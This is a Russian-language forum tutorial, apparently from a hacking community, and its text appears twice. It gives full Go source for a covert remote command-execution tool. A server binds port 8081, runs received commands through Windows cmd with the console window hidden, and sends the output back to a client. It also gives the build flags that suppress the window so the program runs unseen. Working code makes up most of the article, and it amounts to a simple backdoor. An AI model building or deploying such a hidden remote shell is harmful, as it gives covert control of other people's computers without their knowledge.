Содержание:
В процессе очередной статьи из серии статей по фрэймворку Bettercap 2.* и атаки на WiFi сети, написал простенький код на языке Golang(GO) для выполнения команд интерпретатора удалённо. И решил не вставлять этот код в тело статьи, а вынести в отдельный топик со ссылками на созданный репозито́рий, а заодно не много расписать ход составления алгоритма для выполнения подобной задачи и сам код подробней.
Честно признаюсь думал только воткну код в тело статьи и забуду, но недавно созданный топик с вопросом мистера @.Method, а так же ответ мистера @digw33d, подтолкнули на создания некой инструкции для решения подобных вопросов.
Речь пойдёт о примитивном решении вопроса из серии "Как ...". Конкретный вопрос в нашем случае - "Как создать программу которая будет выполнять команды встроенного интерпретатора ОС удалённо ."
Задача
Написать программу которая будет скрыто выполнять команды встроенного интерпретатора ОС, а так же будет получать вывод интерпретатора о выполненной команде и отсылать ответ.
Простейшим решением будет создать программу в стиле "Клиент - Сервер".
"Серверная" часть будет скрыто выполнять команды и отсылать "клиентской" части программы.
Первое что потребуется для решения задачи, это придумать алгоритм для программы, после конечно же подобрать функции которые потребуются для выполнения этой задачи и наконец собрать подобранные функции в программу.
Алгоритм программы
Серверная часть
Программы типа "Клиент - Сервер" работают по принципу общения двух приложений между собой, при этом оба приложения могут взаимодействовать как с другими программами|приложениями и ОС или только ОС. Серверная часть работает по принципу "Принял сообщение -> обработал полученное сообщение ->если требуется выполнил действия-> отправил ответил.", клиентская часть "Подключился к серверу -> отправил сообщение -> принял и обработал полученный ответ -> вывел ответ.".
Серверная часть программы
Серверная часть программы устанавливает прослушивание на указанном порте, открывает порт и ждет сообщения с командой для выполнения клиентской части программы.Задача серверной части выполнить полученную команду, в этом случае отправить полученную команду встроенному интерпретатору ОС и получить вывод интерпретатора о выполненной команде.Для решения этой задачи в языке Golang(GO) существует пакет
Интересует только
Этот объект и будем использоваться в коде серверной части программы.Рассмотрим пример использования объекта "exec.Command" на примере с встроенным интерпретатором ОС Windows.(На момент написания статьи, работаю в ОС Windows и "удобней" описывать использование в этой "оперативной системе". Но так как Golang кроссплатформенный язык программирования, то работать будет и в других ОС, отличие будет только в командах к самому интерпретатору ОС.)
Для примера обратимся к командной строке с командой "help", которая выведет справку командной строки(
Аналогом для Linux будет(
Разница только в одной строке, а точнее только в опции и аргументах к одному объекту "exec.Command". Код при выполнении обратится к встроенному интерпретатору с командой "help", результат будет вывод интерпретатора:
Да вывод печальный и радует глаз непонятными знаками в вперемешку с какими то иероглифами и названиями команд на англ. языке.Вывод других команд будет в таком же формате, виной такому выводу - кодировка.
Решается пакетом "golang.org/x/text/encoding/charmap", для использования потребуется установка:
Используется из пакета команда "NewDecoder()", с указанием нужного типа charmap, в конкретном случае это "CodePage866".
Полное описание пакета и функций, а так же полный перечень типов
Используем для декодирования ответа командной строки(
Результат декодирования с подобранной кодировкой :
Теперь добавим пакет
Проверяем:
Для того что бы не отображалось окно консоли при запуске скомпилированного исходного кода, компилируем с ключами:
На этом этапе функция которая будет отдавать встроенному интерпретатору windows готова. Остаётся написать часть которая будет отвечать за общение между серверной и клиентской частью. Такие программы на языке Go пишутся в два шага, не надо писать тонны кода, всё уже написано, нужно просто взять и использовать.
Будем использовать пакет
Для обработки полученных пакетов будем использовать пакет
Напишем серверную часть которая будет открывать и прослушивать указанный порт, принимать сообщение от клиентской части и отправлять это сообщение обратно клиентской части:
Согласно
Часть отвечающая за соединение и общение между серверно-клиентской программой готова:
Теперь соединим часть отвечающею за общение с функцией которая будет отдавать команды встроенному интерпретатору.
Для этого добавим функцию которая будет обрабатывать полученную строку (удалять переносы строки) и соединим в одно приложение:
Серверная часть полностью готова к работе!
Для того что бы скомпилированная серверная часть не открывала окно консоли при запуски, необходимо компилировать с следующими ключами:
Клиентская часть программы
С клиентской частью на много проще, а в случае с языком Go, этот кода будет содержать минимум строк.
Будут использоваться те же пакеты что и в серверной части, за исключением пакета "os/exec", тут будет использоваться пакет "os", а так же не будут использоваться пакеты "syscall" и "golang.org/x/text/encoding/charmap".
Для подключения к серверной части используется функция
Исходник расписан построчно, алгоритм работы клиента описан выше, даже не приходит в голову что ещё можно описать о клиентской части, разве что на 13 строке (conn, _ := net.Dial("tcp", "127.0.0.1:8081")) в случае использования на удалённой машине нужно указать необходимый ip адрес, заменив "127.0.0.1" на необходимый.
Заключение
Написать программу для решения конкретной задачи, проще когда есть конкретная задача. Конечно знания языка программирования необходимы, но эти знания только облегчают решение поставленной задачи.В большинстве случаев достаточно поверхностных знаний, понимания синтаксиса используемого языка и желания решить эту задачу. А для остального есть сеть интернет, там есть дядька Google, а так же множество форумов и целое мировое сообщество в котором найдутся "добрые люди" которые дадут необходимую подсказку для решения поставленной задачи.
Ссылка на репозиторий с исходным кодом программы здесь, исходный код код и созданные в ходе написания статьи бинарники
P.S. Прежде всего эта статья только пример реализации идеи, не более.
P.s.S. В репозитории код обновлён.
- Предисловие
- Подготовка
- Задача
- Алгоритм программы
- Серверная часть
- Клиентская часть
- Сервер - Клиент
- Сервер
- Клиент
- Заключение
В процессе очередной статьи из серии статей по фрэймворку Bettercap 2.* и атаки на WiFi сети, написал простенький код на языке Golang(GO) для выполнения команд интерпретатора удалённо. И решил не вставлять этот код в тело статьи, а вынести в отдельный топик со ссылками на созданный репозито́рий, а заодно не много расписать ход составления алгоритма для выполнения подобной задачи и сам код подробней.
Честно признаюсь думал только воткну код в тело статьи и забуду, но недавно созданный топик с вопросом мистера @.Method, а так же ответ мистера @digw33d, подтолкнули на создания некой инструкции для решения подобных вопросов.
Речь пойдёт о примитивном решении вопроса из серии "Как ...". Конкретный вопрос в нашем случае - "Как создать программу которая будет выполнять команды встроенного интерпретатора ОС удалённо ."
Задача
Написать программу которая будет скрыто выполнять команды встроенного интерпретатора ОС, а так же будет получать вывод интерпретатора о выполненной команде и отсылать ответ.
Простейшим решением будет создать программу в стиле "Клиент - Сервер".
"Серверная" часть будет скрыто выполнять команды и отсылать "клиентской" части программы.
Первое что потребуется для решения задачи, это придумать алгоритм для программы, после конечно же подобрать функции которые потребуются для выполнения этой задачи и наконец собрать подобранные функции в программу.
Алгоритм программы
Серверная часть
- Установить прослушивание порта.
- Открыть порт.
- Получить сообщение подключенного клиента.
- Обработать полученное сообщение.
- Выполнить команду из полученного сообщения.
- Получить вывод интерпретатора который будет выполнять эту команду.
- Обработать полученный вывод интерпретатора.
- Отправить обработанный вывод интерпретатора подключенному клиенту.
- Подключится к серверной части программы.
- Принять команду.
- Отправить полученную команду серверной части.
- Получить ответ серверной части.
- Вывести обработанный ответ.
Программы типа "Клиент - Сервер" работают по принципу общения двух приложений между собой, при этом оба приложения могут взаимодействовать как с другими программами|приложениями и ОС или только ОС. Серверная часть работает по принципу "Принял сообщение -> обработал полученное сообщение ->если требуется выполнил действия-> отправил ответил.", клиентская часть "Подключился к серверу -> отправил сообщение -> принял и обработал полученный ответ -> вывел ответ.".
Серверная часть программы
Серверная часть программы устанавливает прослушивание на указанном порте, открывает порт и ждет сообщения с командой для выполнения клиентской части программы.Задача серверной части выполнить полученную команду, в этом случае отправить полученную команду встроенному интерпретатору ОС и получить вывод интерпретатора о выполненной команде.Для решения этой задачи в языке Golang(GO) существует пакет
Ссылка скрыта от гостей
, в котором присутствуют необходимые функции для работы с встроенными|предустановленными в ОС программами и приложения.Интересует только
Ссылка скрыта от гостей
- "Команда exec.Command является объектом, который предоставляет доступ к этому внешнему процессу."Этот объект и будем использоваться в коде серверной части программы.Рассмотрим пример использования объекта "exec.Command" на примере с встроенным интерпретатором ОС Windows.(На момент написания статьи, работаю в ОС Windows и "удобней" описывать использование в этой "оперативной системе". Но так как Golang кроссплатформенный язык программирования, то работать будет и в других ОС, отличие будет только в командах к самому интерпретатору ОС.)
Для примера обратимся к командной строке с командой "help", которая выведет справку командной строки(
Ссылка скрыта от гостей
):
C-подобный:
package main
import (
"fmt"
"os/exec"
)
func main() {
out, _ := exec.Command("cmd", "/c ", "help").Output()
fmt.Println(string(out))
}
Ссылка скрыта от гостей
):
C-подобный:
package main
import (
"fmt"
"os/exec"
)
func main() {
out, _ := exec.Command("bash", "-c ", "--help").Output()
fmt.Println(string(out))
}
Да вывод печальный и радует глаз непонятными знаками в вперемешку с какими то иероглифами и названиями команд на англ. языке.Вывод других команд будет в таком же формате, виной такому выводу - кодировка.
Решается пакетом "golang.org/x/text/encoding/charmap", для использования потребуется установка:
Код:
go get "golang.org/x/text/encoding/charmap"
Полное описание пакета и функций, а так же полный перечень типов
Ссылка скрыта от гостей
.Используем для декодирования ответа командной строки(
Ссылка скрыта от гостей
):
C-подобный:
package main
import (
"fmt"
"os/exec"
//Добавляем пакет используемый для декодирования
"golang.org/x/text/encoding/charmap"
)
func main() {
out, _ := exec.Command("cmd", "/c ", "help").Output()
//Инициализируем декодирование с указанным типом CodePage866
d := charmap.CodePage866.NewDecoder()
//Обрабатываем вывод
decode_out, _ := d.Bytes(out)
//Выводим обработанный ответ
fmt.Println(string(decode_out))
}
Теперь добавим пакет
Ссылка скрыта от гостей
с указанием типа
Ссылка скрыта от гостей
для того что бы при выполнение команд командная строка не всплывала и не выявляла выполнения команд встроенного интерпретатора и завернём в отдельную функцию которая будет использоваться серверной частью:
C-подобный:
package main
import (
"fmt"
"os/exec"
//Добавляем пакет используемый для декодирования
"golang.org/x/text/encoding/charmap"
//Добавляем пакет Syscall для указания типа SysProcAttr
"syscall"
//Подключаем пакет strings для обработки строк.
"strings"
)
func main() {
//Пример использования функции WinShellExe
command_for_execute := "/c msg * Message for user!"
Result := WinShellExe(command_for_execute)
fmt.Print(Result)
}
//Создаём функцию которая будет отдавать команды встроенному интерпретатору ОС на которой будет выполняться.
func WinShellExe(strCommand string) (out string) {
//Функция будет получать строку в которой будут указанны для встроенного интерпретатора.
//Так как объект exec.Command ждёт опции к указанной программе в виде массива аргументов, разбиваем полученную строку на массив
//Используя команду Split из пакета strings для разбивки полученной строки в массив
argsCommand := strings.Split(strCommand, " ")
//Так как серверная часть будет на машине с установленной ОС Windows, в качестве внешнего объекта указываем имя исполняемого интерпретатора "cmd"
cmd := exec.Command("cmd", argsCommand...)
//Говорим что бы окно консоли не отображалось
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
//Считываем ответ консоли
stdout, _ := cmd.Output()
//Инициализируем декодирование с указанным типом CodePage866
d := charmap.CodePage866.NewDecoder()
//Обрабатываем вывод
decode_out, _ := d.Bytes(stdout)
//Говорим что это строка
out = string(decode_out)
//возвращаем полученный результат
return
}
Для того что бы не отображалось окно консоли при запуске скомпилированного исходного кода, компилируем с ключами:
Код:
go build -ldflags "-s -H windowsgui" source.go
Будем использовать пакет
Ссылка скрыта от гостей
, конкретно для серверной части программы понадобится только три команды из этого пакета.Это команда
Ссылка скрыта от гостей
, Accept и Write.Для обработки полученных пакетов будем использовать пакет
Ссылка скрыта от гостей
, а точнее только функцию
Ссылка скрыта от гостей
и функцию
Ссылка скрыта от гостей
.Напишем серверную часть которая будет открывать и прослушивать указанный порт, принимать сообщение от клиентской части и отправлять это сообщение обратно клиентской части:
C-подобный:
package main
import (
"bufio"
"net"
)
func main() {
// Устанавливаем прослушивание порта
ln, _ := net.Listen("tcp", ":8081")
// Открываем порт
conn, _ := ln.Accept()
// Запускаем цикл
for {
// Распечатываем полученное сообщение
connbuf := bufio.NewReader(conn)
//Считываем сообщение до окончание строки
str, err := connbuf.ReadString('\n')
//Если есть какие нибудь ошибки выходим
if err != nil {
break
}
// Отправить полученное сообщение обратно клиенту
conn.Write([]byte(str))
}
}
Ссылка скрыта от гостей
списку портов, порт 8081 официально не используется ни каким приложением или программой, сервер устанавливает прослушивание на порт 8081 и открывает.Часть отвечающая за соединение и общение между серверно-клиентской программой готова:
Теперь соединим часть отвечающею за общение с функцией которая будет отдавать команды встроенному интерпретатору.
Для этого добавим функцию которая будет обрабатывать полученную строку (удалять переносы строки) и соединим в одно приложение:
C-подобный:
package main
import (
//Добавляем пакет bufio для обработки полученного сообщения
"bufio"
//Добавляем пакет net для открытия и прослушивания порта, а также отправки сообщения.
"net"
//Добавляем пакет "os/exec" для работы с встроенным интерпретатором
"os/exec"
//Добавляем пакет используемый для декодирования
"golang.org/x/text/encoding/charmap"
//Добавляем пакет Syscall для указания типа SysProcAttr
"syscall"
//Подключаем пакет strings для обработки строк.
"strings"
)
func main() {
// Устанавливаем прослушивание порта
ln, _ := net.Listen("tcp", ":8081")
// Открываем порт
conn, _ := ln.Accept()
// Запускаем цикл
for {
// Распечатываем полученое сообщение
connbuf := bufio.NewReader(conn)
//Считываем сообщение до окончание строки
str, err := connbuf.ReadString('\n')
//Если есть какие нибудь ошибки выходим
if err != nil {
break
}
//Так как перенос строки приходит вместе с сообщение, удаляем его.
message := strings.TrimRight(str, "\r\n")
//Передаём полученное сообщение с командой функции WinShellExe
Result := WinShellExe(string(message))
// Отправляем полученный вывод интерпретатора обратно клиенту
conn.Write([]byte(Result + "<<<<endMessage>>>\n"))
}
//Закрываем соединение
conn.Close()
}
func WinShellExe(strCommand string) (out string) {
//Функция будет получать строку в которой будут указанны для встроенного интерпретатора.
//Так как объект exec.Command ждёт опции к указанной программе в виде массива аргументов, разбиваем полученную строку на массив
//Используя команду Split из пакета strings для разбивки полученной строки в массив
argsCommand := strings.Split(strCommand, " ")
//Так как серверная часть будет находится на машине с установленной ОС Windows, в качестве внешнего объекта указываем имя исполняемого интерпретатора "cmd"
cmd := exec.Command("cmd", argsCommand...)
//Говорим что бы окно консоли не отображалось
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
//Считываем ответ консоли
stdout, _ := cmd.Output()
//Инициализируем декодирование с указанным типом CodePage866
d := charmap.CodePage866.NewDecoder()
//Обрабатываем вывод
decodeOut, _ := d.Bytes(stdout)
//Говорим что это строка
out = string(decodeOut)
//возвращаем полученный результат
return
}
Для того что бы скомпилированная серверная часть не открывала окно консоли при запуски, необходимо компилировать с следующими ключами:
Код:
go build -ldflags "-s -H windowsgui" source.go
Клиентская часть программы
С клиентской частью на много проще, а в случае с языком Go, этот кода будет содержать минимум строк.
Будут использоваться те же пакеты что и в серверной части, за исключением пакета "os/exec", тут будет использоваться пакет "os", а так же не будут использоваться пакеты "syscall" и "golang.org/x/text/encoding/charmap".
Для подключения к серверной части используется функция
Ссылка скрыта от гостей
, которая подключается на указанный порт указанного ip адреса.
C-подобный:
package main
import (
"bufio"
"fmt"
"net"
"os"
"strings"
)
func main() {
// Подключаемся к сокету
conn, _ := net.Dial("tcp", "127.0.0.1:8081")
for {
// Чтение входных данных от stdin
reader := bufio.NewReader(os.Stdin)
fmt.Print("Text to send: ")
text, _ := reader.ReadString('\n')
// Отправляем в socket
fmt.Fprintf(conn, "/c "+text+"\n")
//распечатываем полученный ответ
connbuf := bufio.NewReader(conn)
//Запускаем цикл для того что бы прочитать весь ответ
for {
//Считываем до знака переноса строки
str, _ := connbuf.ReadString('\n')
//До того как обнаружим конец сообщения
if strings.Index(str, "<<<endMessage>>") > 0 {
break
}
//выводим построчно
fmt.Print(str)
}
}
//Закрываем соединение
conn.Close()
}
Заключение
Написать программу для решения конкретной задачи, проще когда есть конкретная задача. Конечно знания языка программирования необходимы, но эти знания только облегчают решение поставленной задачи.В большинстве случаев достаточно поверхностных знаний, понимания синтаксиса используемого языка и желания решить эту задачу. А для остального есть сеть интернет, там есть дядька Google, а так же множество форумов и целое мировое сообщество в котором найдутся "добрые люди" которые дадут необходимую подсказку для решения поставленной задачи.
Ссылка на репозиторий с исходным кодом программы здесь, исходный код код и созданные в ходе написания статьи бинарники
Ссылка скрыта от гостей
.P.S. Прежде всего эта статья только пример реализации идеи, не более.
P.s.S. В репозитории код обновлён.
Последнее редактирование: